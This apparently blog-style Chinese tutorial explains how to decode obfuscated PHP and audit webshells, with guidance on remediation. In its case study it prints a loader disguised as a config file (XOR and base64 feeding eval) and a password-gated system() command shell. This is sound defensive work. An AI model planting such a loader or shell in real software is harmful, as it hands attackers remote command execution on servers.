PHP代码混淆加密实战:从混淆还原到WebShell审计的完整指南
1. 项目概述从加密代码到可读逻辑的艺术在真实的渗透测试或安全审计工作中我们常常会遇到一些被“处理”过的PHP代码。它们可能被混淆、加密或者经过了某种自定义的编码转换使得原本清晰的业务逻辑变得面目全非就像一本用密码写成的书。直接面对这样的代码无论是进行漏洞挖掘、代码审计还是理解后门逻辑都无从下手。这时“代码还原”就不再是一个炫技的环节而是成为安全从业者必须掌握的一项核心生存技能。它要求我们像侦探一样从一堆看似无意义的字符中逆向推演出开发者最初的意图和完整的执行逻辑。这个项目标题“PHP解密案例精讲”所指向的正是这样一个充满挑战与乐趣的领域。它并非单纯地讲解某个解密工具的使用而是聚焦于“真实渗透测试”这一特定场景下的“代码还原艺术”。这意味着我们将要面对的不是CTF比赛中那些标准化的编码如Base64、ROT13而是生产环境中为了“保护”代码或隐藏恶意行为而设计的、千奇百怪的混淆和加密手段。还原这些代码需要综合运用静态分析、动态调试、逻辑推理甚至“脑补”能力。本文将基于常见的实战场景拆解几种典型的PHP代码加密/混淆手法并一步步展示如何将其还原为可读、可审计的原始代码。无论你是刚入门的安全爱好者还是想深化代码审计能力的开发者这些从真实对抗中总结出的思路和技巧都将为你打开一扇新的窗户。2. 核心思路与常见加密手法拆解在动手解密之前我们必须先理解“敌人”常用的手段。PHP代码的“保护”方式繁多但按其本质可以大致分为以下几类理解其原理是成功还原的第一步。2.1 编码混淆最基础的视觉障碍这是最初级的“保护”方式目的不是防止执行而是增加人工阅读的难度。常见手法包括大量使用无意义变量名如$a,$b,$c,$O0O0O,$l1I1l。字符串拆分与拼接将敏感字符串如system、eval拆分成数组或利用.运算符拼接例如$func “syst” . “em”;。利用编码函数如base64_encode、gzcompress、str_rot13等对代码字符串本身进行编码运行时再解码执行。你可能会看到一大段Base64字符串后面跟着一个eval(base64_decode(...))。注意这类混淆通常可以通过代码美化工具如 PHP Parser部分解决但关键是要识别出eval、assert、create_function、preg_replace的/e修饰符等动态执行函数的位置那里往往是解码后代码的入口。2.2 自定义加密与运行时解密需要密钥的“黑盒”这种方式更为棘手。开发者会编写一个加密函数或使用第三方加密工具如早期的Zend Guard、ionCube以及各种小众的“PHP加密专家”将原始PHP代码加密成一堆乱码。同时他们会保留一个“解密头”或“加载器”这个加载器本身是明文的内含解密逻辑和密钥可能被隐藏。当脚本运行时加载器先在内存中解密被加密的核心代码然后通过eval()或include包含字符串等方式动态执行。识别特征文件开头是一段可读的PHP代码其中定义了一些奇怪的函数和变量随后跟着一个非常长的、看似乱码的字符串变量。这段明文代码就是解密器。例如?php function qwer($code) { $key “mysecretkey”; // … 复杂的解密算法 … return $decrypted; } $encryptedCode “x7FELF5x04…(长达几十KB的乱码)…”; eval(qwer($encryptedCode)); ?还原思路我们的目标不是破解加密算法那属于密码学范畴而是“欺骗”解密器让它把解密后的、准备交给eval执行的明文代码输出给我们而不是直接执行。这就是“代码还原艺术”的核心。2.3 无解密器的混淆基于扩展或底层修改这是最难处理的一类例如使用 ionCube 或 SourceGuardian 等商业加密软件加密的文件。这些工具通常将PHP代码编译成字节码并由一个专用的PHP扩展如 ioncube_loader在运行时解释执行。文件本身没有可读的解密逻辑必须依赖对应的扩展。应对策略在渗透测试的授权范围内如果遇到此类文件通常意味着目标系统安装了相应的解密扩展。直接还原源代码非常困难。此时审计重点应转向黑盒测试关注其输入输出通过参数Fuzzing测试是否存在命令执行、SQL注入等漏洞。环境探查检查服务器是否配置不当能否从其他途径如备份文件、版本管理工具泄露获取未加密的源码。法律与授权务必明确逆向工程商业加密软件可能违反其许可协议在未获得明确授权的情况下不应尝试破解其加密机制。3. 实战案例精讲还原一个自定义加密的WebShell让我们通过一个高度模拟真实渗透测试中发现的案例来完整走一遍代码还原的流程。假设我们在审计时发现一个可疑文件config.inc.php内容如下?php /* 这是一个普通的配置文件 - 开发团队 */ error_reporting(0); function decodePayload($input) { $key substr(md5(“__SALT__” . $_SERVER[‘HTTP_HOST’]), 5, 12); $output ‘’; for ($i 0; $i strlen($input);) { for ($j 0; $j strlen($key) $i strlen($input); $j, $i) { $output . $input[$i] ^ $key[$j]; } } return $output; } $f “”; // 此处实际有一个非常长的加密字符串为节省篇幅用空字符串代替 eval(decodePayload(base64_decode($f))); ?3.1 第一步静态分析与解密逻辑理解首先我们进行静态分析。找到入口最后一行eval(decodePayload(base64_decode($f)))是核心。它先对变量$f进行Base64解码然后将结果传给自定义的decodePayload函数解密最后执行解密后的代码。分析解密函数decodePayload密钥生成$key substr(md5(“__SALT__” . $_SERVER[‘HTTP_HOST’]), 5, 12);密钥依赖于一个固定盐值__SALT__和当前网站的域名 (HTTP_HOST)。这意味着这个加密WebShell被设计成只能在特定的域名下正确解密和执行增加了它的隐蔽性和分析难度。解密算法通过一个双循环将输入$input的每个字符与密钥$key的字符进行按位异或 (^) 操作。这是一个典型的流加密或逐字节异或加密其特性是明文 ^ 密钥 密文同时密文 ^ 密钥 明文。也就是说加密和解密是同一个函数。Base64层最外层还有一层Base64编码这主要是为了将加密后产生的二进制数据可能包含不可打印字符转换为纯文本格式便于嵌入PHP文件中。3.2 第二步动态调试与代码导出我们的目标不是让WebShell执行而是拿到它解密后的源码。有几种思路方法A本地模拟环境解密推荐这是最安全、最可控的方式。复制代码将整个config.inc.php的代码复制到本地测试环境中。模拟密钥环境关键是要让$_SERVER[‘HTTP_HOST’]的值与目标服务器上的一致。我们可以在代码开头手动定义它$_SERVER[‘HTTP_HOST’] ‘www.target.com’;(替换为实际目标域名)。替换eval为输出这是最关键的一步。将最后一行eval(...)改为echo decodePayload(base64_decode($f));或file_put_contents(‘decrypted.php’, decodePayload(base64_decode($f)));。这样解密后的代码就会被打印出来或保存到文件而不是被执行。执行脚本在命令行或浏览器中访问这个修改后的本地脚本即可获得还原后的明文WebShell代码。方法B利用错误信息泄露条件苛刻如果目标服务器配置不当display_errors On且我们能在解密后的代码中触发一个语法错误或警告错误信息中有时会包含出错的那一行解密后的代码片段。但这方法不稳定且可能暴露我们的测试行为。方法C远程自定义解密脚本如果无法得知HTTP_HOST的确切值但确信其不变可以编写一个脚本遍历可能的域名组合如已知主域名、子域名尝试解密。但这更像密码学爆破在渗透测试中效率不高。3.3 第三步分析还原后的代码假设我们通过方法A成功导出了解密后的代码保存为decrypted_shell.php。打开它我们可能会看到类似以下的内容?php session_start(); $password “pass123”; if(isset($_POST[‘cmd’]) $_POST[‘pwd’] $password){ system($_POST[‘cmd’]); die(); } // … 可能还有其他功能如文件管理、数据库连接等 … ?现在一个隐藏的WebShell就完全暴露在我们面前。我们可以清晰地看到认证密码$password “pass123”;执行方式通过POST请求传递pwd和cmd参数即可执行系统命令。其他风险可能还存在文件上传、数据库导出等后门功能。至此代码还原的核心任务已经完成。我们从一段充满迷惑性的“配置文件”通过分析其解密逻辑并在受控环境中安全地导出代码最终还原出了其作为WebShell的恶意本质。这份还原后的代码就是后续进行漏洞报告、威胁分析以及系统清理的最直接证据。4. 高级技巧与复杂场景应对在实战中情况往往比上面的例子更复杂。下面分享一些处理棘手情况的经验和技巧。4.1 处理多层嵌套加密与混淆有时你会遇到“套娃”式的加密一段代码解密后得到的又是一段加密的代码可能需要再次甚至多次解密。识别模式观察解密后的输出。如果它又包含了eval、base64_decode、gzuncompress或新的自定义解密函数那么就是多层加密。迭代还原采用“剥洋葱”的方法。将第一次解密输出的代码保存为新文件然后分析这个新文件找到它的解密入口重复“替换eval为输出”的过程。可以写一个简单的脚本自动化这个循环直到输出不再包含明显的动态执行函数而是清晰的PHP逻辑为止。留意条件解密有些恶意代码会根据时间、IP地址、请求参数等条件决定是否解密或解密哪一部分代码。在本地还原时需要模拟满足这些条件的环境变量或全局变量如$_GET,$_COOKIE。4.2 还原经过混淆器处理的代码对于使用php-obfuscator等工具进行混淆的代码特征是将所有变量、函数名替换为短名并可能压缩代码还原的目标主要是提升可读性。使用代码格式化工具首先用 PHP CS Fixer 或在线格式化工具美化代码结构恢复缩进和换行。重命名变量/函数手动或半自动这是最耗时但最关键的一步。根据上下文逻辑将有意义的变量名如$userList,$dbConnection赋予那些$a,$b。现代IDE如PhpStorm的重构功能可以极大帮助这项工作。关注控制流if/else, loops和函数调用来推断变量的用途。还原字符串常量如果混淆器将字符串也编码了如Hex编码需要将其解码回可读形式。可以写一个小脚本批量处理x65x76x61x6c这类字符串。4.3 从内存或进程快照中提取代码在极端情况下面对无法静态解密的扩展加密文件如果条件允许并且授权范围明确可以尝试动态取证。调试器附加使用gdb附加到正在运行该PHP脚本的PHP-FPM或Apache进程。内存转储在脚本执行到解密后、但eval之前的瞬间可通过下断点实现转储进程内存。搜索特征在内存转储中搜索PHP代码的特征字符串如 “?php”, “function”, “$_GET” 等可能找到解密后驻留在内存中的明文代码片段。这种方法技术门槛高且受限于环境不属于常规手段仅作为知识储备。5. 必备工具链与操作心得工欲善其事必先利其器。一套顺手的工具能让你事半功倍。5.1 本地分析与调试环境PHP命令行环境这是最基本的。确保你有一个可以随时执行PHP脚本的命令行环境用于快速测试解密逻辑。IDE/编辑器PhpStorm、VS Code 等具备强大的代码重构、搜索、调试功能。特别是PhpStorm的“Evaluate Expression”功能在动态调试时非常有用。Docker用于快速搭建一个与目标环境特定PHP版本、扩展类似的隔离测试环境避免污染宿主机。一个简单的docker run -it –rm -v $(pwd):/app php:7.4-cli php /app/your_script.php就能运行脚本。5.2 专用辅助工具CyberChef一个强大的网页端“数字瑞士军刀”。它的“Magic”功能有时能自动识别出编码类型。手动操作链如From Base64 - XOR Brute Force可以帮助快速测试简单的加密。注意对于涉及复杂密钥如本例中依赖HTTP_HOST的加密CyberChef的自动破解可能无效但它的编解码模块依然好用。自定义脚本根据遇到的加密模式编写自己的Python或PHP解密脚本库。例如将前面案例中的异或解密函数改写成通用的工具函数方便下次调用。代码美化工具php -l检查语法phpcbf(PHP CodeSniffer Beautifier) 或在线格式化工具用于整理混乱的代码结构。5.3 安全操作注意事项重要提示还原恶意代码如同处理生物病毒必须在隔离环境中进行。绝对禁止在联网的生产或测试服务器上直接操作永远在离线或完全隔离的虚拟机、Docker容器中分析和执行可疑代码。警惕代码中的“反分析”或“自毁”逻辑有些恶意代码会检测运行环境如检查是否是命令行、是否存在调试器debug_backtrace或者尝试删除自身文件、连接远程C2服务器。在隔离环境中可以降低风险但仍需谨慎。文件权限隔离用于测试的虚拟机或容器不应有权限访问宿主机的敏感目录或网络。记录与分析并重还原出的代码要详细分析其功能、网络行为、持久化手段并记录在渗透测试报告中作为安全风险的证据。6. 从还原到审计挖掘深层安全漏洞代码还原本身不是终点而是安全审计的起点。拿到清晰的代码后我们的工作才刚刚进入高潮。6.1 漏洞模式识别面对还原后的代码应系统性地检查以下几类常见漏洞命令注入寻找system(),exec(),shell_exec(),passthru(), 反引号 等函数检查其参数是否未经净化就直接来源于用户输入$_GET,$_POST,$_COOKIE。SQL注入检查所有数据库操作mysql_query,mysqli,PDO看用户输入是否直接拼接进了SQL语句字符串中。文件包含检查include,require,include_once,require_once其路径参数是否用户可控可能导致本地或远程文件包含LFI/RFI。文件操作漏洞检查file_get_contents,file_put_contents,unlink,copy等函数参数是否用户可控可能导致任意文件读/写/删。反序列化漏洞检查unserialize()函数其参数是否用户可控。这是近年来非常高危的漏洞类型。逻辑漏洞包括越权访问通过修改ID参数访问他人数据、密码重置缺陷、验证码绕过等这需要结合业务流分析。6.2 以还原的WebShell为例进行深度审计回到我们案例中还原出的WebShellif(isset($_POST[‘cmd’]) $_POST[‘pwd’] $password){ system($_POST[‘cmd’]); }漏洞1命令注入本身即是这本身就是一个赤裸裸的命令注入后门。$_POST[‘cmd’]直接传入system()。漏洞2弱密码$password “pass123”;是一个典型的弱密码。审计延伸检查代码其他部分。也许在文件末尾还有一段被注释的代码或者包含了一个外部配置文件里面可能存在数据库连接密码硬编码、其他API密钥泄露等问题。关联风险这个WebShell是如何上传的是否存在文件上传漏洞它的存在是否意味着服务器已被完全控制需要检查是否有其他后门、计划任务、SSH密钥被添加等。6.3 编写审计报告与修复建议将还原过程和漏洞发现整理成报告问题描述清晰描述发现的加密后门文件及其位置。技术分析简要说明加密方式、还原方法并附上还原后的关键代码片段作为证据。风险等级评估该漏洞的风险如“严重”说明攻击者利用它可以实现的操作完全控制服务器。修复建议立即措施删除或隔离恶意文件config.inc.php。检查在全站范围搜索类似模式的加密代码可通过特征字符串如decodePayload,eval(base64_decode等。溯源检查Web访问日志、文件创建时间寻找攻击入口如可能存在的文件上传漏洞点。加固建议禁用危险函数如eval,assert,system等在php.ini的disable_functions中列出对上传目录进行严格的权限和类型限制定期进行代码安全审计。代码还原的艺术在于将黑暗中的模糊轮廓还原为阳光下清晰的脉络。它不仅是技术的较量更是耐心和逻辑思维的考验。每一次成功的还原不仅清除了一个威胁更让我们对攻击者的思维和防御的薄弱点有了更深的理解。记住在授权的渗透测试中这项技能的目的是为了加固防线而这份对代码“执念”般的好奇心与解构能力也正是安全研究员最宝贵的特质之一。

相关新闻

企业部门负责人全景运作模型库:战略落地的标准化框架

企业部门负责人全景运作模型库:战略落地的标准化框架

1. 企业部门负责人全景运作模型库概述 作为企业管理的核心枢纽,一级部门负责人的运作效能直接决定了组织战略落地的质量。我在为多家上市公司提供管理咨询时发现,超过70%的战略执行偏差都源于部门负责人对自身角色认知不清晰、管理工具不成体系。这个全景…

2026/10/13 3:23:53 阅读更多 →
PCF8574 I2C转接LCD1602模块:从硬件确认到软件驱动的完整指南

PCF8574 I2C转接LCD1602模块:从硬件确认到软件驱动的完整指南

这类模块最值得先看的不是它能转接什么屏幕,而是能不能在你的开发板上稳定跑起来。很多人拿到手直接插上,结果要么没显示,要么乱码,其实问题往往出在地址扫描、接线顺序或者初始化代码上。 我一般会建议先确认三件事:…

2026/10/13 3:23:12 阅读更多 →
你为什么需要短视频代运营

你为什么需要短视频代运营

短视频在信息爆炸的今天,让信息更直观的呈现,它对于许多公司品牌来说,成为了营销不可或缺的新阵地。然而自己组建完整的运营团队成本高、效果不确定,相比之下,代运营成本更低,效率更高,所以把自…

2026/10/12 16:17:27 阅读更多 →

最新新闻

Triepoch | 认知发行:AI 不缺算力,缺的是专家级的判断力

Triepoch | 认知发行:AI 不缺算力,缺的是专家级的判断力

无数人都有过一种矛盾的体验:今天的 AI 越来越强大,参数越来越大、算力越来越足、生成速度越来越快,但真正落地到专业工作时,依旧“能用、不好用、不敢用”。它可以一秒生成海量内容,却始终做不出符合场景、贴合需求、…

2026/10/13 3:23:49 阅读更多 →
A股量化软件推荐 三款工具如何界定研究范围与风险过滤

A股量化软件推荐 三款工具如何界定研究范围与风险过滤

A股量化软件推荐,先确认你打算研究哪些股票,再选择软件。本文把BigQuant、牛股王股票和掘金量化放在同一任务下比较:保留研究范围的定义,解释风险过滤发生在哪里,并把筛选范围与账户可交易范围分开。希望审读数据过滤表…

2026/10/13 3:23:49 阅读更多 →
股票量化软件对比 三款工具怎样补齐买入与卖出规则

股票量化软件对比 三款工具怎样补齐买入与卖出规则

股票量化软件对比,先别只展示买入信号。本文比较青柠量化、牛股王股票和掘金量化,回答一条股票规则怎样成为有明确结束条件的交易研究。想在画布里检查入场与出场,先看青柠量化;希望通过交易模型配置买入、持有和卖出,…

2026/10/13 3:23:49 阅读更多 →
Python 模块导入报错 ModuleNotFoundError 从根源到实战排查指南

Python 模块导入报错 ModuleNotFoundError 从根源到实战排查指南

写 Python 代码最怕什么?不是业务逻辑绕不清楚,而是脚本写到一半,运行到 import 那一行,控制台直接甩给你一句 ModuleNotFoundError: No module named matplotlib。尤其是刚接触 Python 的新手,装完解释器兴冲冲跑第一…

2026/10/13 3:23:49 阅读更多 →
意图共鸣科技10月12日正式发布《认知律》——律,是不可被选择绕过的运行机制

意图共鸣科技10月12日正式发布《认知律》——律,是不可被选择绕过的运行机制

发布机构:东莞市意图共鸣科技有限公司 发布日期:2026年10月12日 作者:意图共鸣科技 文档类型:律前言本文档是律。不是方法论。不是框架。不是经验。不是理论。不是规范。律是不可被选择绕过的运行机制。绕过它,得到的不…

2026/10/13 3:23:49 阅读更多 →
【STM32C5教程】(4)GPIO 外部中断实验

【STM32C5教程】(4)GPIO 外部中断实验

欢迎关注 youcansxidian【嵌入式软件AI编程】专栏 【STM32C5教程】(1)STM32C5系列介绍 【STM32C5教程】(2)STM32CubeMX2 安装与STM32C5闪灯 【STM32C5教程】(3)GPIO 按键输入实验 【STM32C5教程】&#xff…

2026/10/13 3:22:49 阅读更多 →

日新闻

物联网系统集成避坑指南:从选型到验收的关键要点

物联网系统集成避坑指南:从选型到验收的关键要点

做了这么多年物联网系统集成的项目,我最大的感受是,大部分坑不是出在技术前沿,而是出在一些看起来很平常的地方。设备选了便宜的、协议没问清楚、现场没摸透、验收标准写得含糊——这些细枝末节,最后都会变成延期、超支和扯皮的大…

2026/10/13 0:00:57 阅读更多 →
ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

如果你玩ESP32有一阵子了,很难不碰到舵机控制这道坎。做智能小车要转方向,做机械臂要抬关节,做云台要偏航俯仰,背后都是同一个东西在干活:舵机。而我见过太多人卡在“代码能编译、舵机就是不听话”这个阶段&#xff0c…

2026/10/13 0:00:57 阅读更多 →
CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

1. 为什么CAN总线至今仍是工业现场的“硬通货”?——从汽车底盘到智能温室的真实需求你有没有拆过一辆老款燃油车的中控台?或者调试过某高校实验室里那台跑着Modbus协议却频频丢帧的PLC控制柜?又或者,在某个农业物联网项目里&…

2026/10/13 0:00:57 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/13 2:54:56 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/12 0:16:38 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/13 1:58:08 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 21:05:09 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 14:48:49 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 18:11:17 阅读更多 →